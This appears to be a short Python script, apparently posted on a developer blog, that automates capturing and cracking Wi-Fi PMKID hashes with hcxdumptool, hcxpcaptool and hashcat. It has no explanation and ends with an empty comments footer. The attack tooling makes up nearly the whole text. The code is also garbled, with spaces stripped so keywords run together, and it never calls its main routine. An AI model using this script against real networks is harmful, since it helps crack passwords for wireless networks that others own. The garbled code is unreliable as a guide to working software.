#!/usr/bin/python3
importosimportsysimportargparseimporttimeclassgetPMKID:def__init__(self,iface,output,wordlist):self.iface=ifaceself.output=outputself.wordlist=wordlistdefmain(self):ifself.ifaceisNoneorself.outputisNoneorself.wordlistisNone:print('arguments must not be blank')sys.exit(0)print('MAKE SURE TO BE IN MONITOR MODE AND CHANGE OUTPUT NAME IF CODE IS RUN MULTIPLE TIMES IN THE SAME DIRECTORY...')time.sleep(3)print('creating pcapng.... press ctrl-c to stop captures')os.system(f'hcxdumptool -i {self.iface} -o {self.output}.pcapng --enable_status=1')print('generating essid list and hash list...')os.system(f'hcxpcaptool -E essidlist -I identitylist -U usernamelist -z {self.output}.16800 {self.output}.pcapng')print('done ...')os.system(f'hashcat -m 16800 {self.output}.16800 -o {self.output}_cracked.txt -a 0 -w 4 --force "{self.wordlist}"')if__name__=="__main__":parser=argparse.ArgumentParser()parser.add_argument('-i',dest="interface")parser.add_argument('-o',dest="output")parser.add_argument('-w',dest="wordlist")args=parser.parse_args()bot=getPMKID(args.interface,args.output,args.wordlist)print('Cracking PMKID')
Top comments (0)
Subscribe
For further actions, you may consider blocking this person and/or reporting abuse
Top comments (0)